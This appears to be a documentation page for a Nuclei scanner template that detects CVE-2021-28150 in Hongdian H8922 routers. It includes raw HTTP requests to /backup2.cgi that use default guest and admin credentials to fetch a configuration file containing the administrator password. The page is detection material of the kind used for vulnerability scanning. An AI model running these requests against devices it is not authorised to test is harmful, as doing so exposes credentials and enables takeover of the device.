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Hongdian H8922 3.0.5 - Information Disclosure

ID: CVE-2021-28150

Severity: medium

Author: gy741

Tags: cve2021,cve,hongdian,exposure

Description

Section titled “Description”

Hongdian H8922 3.0.5 is susceptible to information disclosure. An attacker can access cli.conf (with the administrator password and other sensitive data) via /backup2.cgi and thereby possibly obtain sensitive information, modify data, and/or execute unauthorized operations.

YAML Source

Section titled “YAML Source”
id: CVE-2021-28150


info:
  name: Hongdian H8922 3.0.5 - Information Disclosure
  author: gy741
  severity: medium
  description: Hongdian H8922 3.0.5 is susceptible to information disclosure. An attacker can access cli.conf (with the administrator password and other sensitive data) via /backup2.cgi and thereby possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    Successful exploitation of this vulnerability can lead to the exposure of sensitive data, potentially compromising the confidentiality of the system and its users.
  remediation: |
    Apply the latest security patch or update provided by Hongdian to fix the information disclosure vulnerability (CVE-2021-28150).
  reference:
    - https://ssd-disclosure.com/ssd-advisory-hongdian-h8922-multiple-vulnerabilities/
    - http://en.hongdian.com/Products/Details/H8922
    - https://nvd.nist.gov/vuln/detail/CVE-2021-28150
    - https://github.com/SexyBeast233/SecBooks
    - https://github.com/Threekiii/Awesome-POC
  classification:
    cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 5.5
    cve-id: CVE-2021-28150
    cwe-id: CWE-425
    epss-score: 0.00253
    epss-percentile: 0.6512
    cpe: cpe:2.3:o:hongdian:h8922_firmware:3.0.5:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: hongdian
    product: h8922_firmware
  tags: cve2021,cve,hongdian,exposure


http:
  - raw:
      - |
        GET /backup2.cgi HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=
      - |
        GET /backup2.cgi HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic YWRtaW46YWRtaW4=


    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "application/octet-stream"


      - type: word
        part: body
        words:
          - "CLI configuration saved from vty"
          - "service webadmin"


      - type: status
        status:
          - 200
# digest: 4a0a0047304502210089fb29838da8dc7eb8d0d88d455e72d1000db5a2acafe7ca484b12c7a615239902206c8a7ded0568ccad08047bb5b2d39a476910ce29ca6f229f734527d1d85ede4f:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-28150.yaml"

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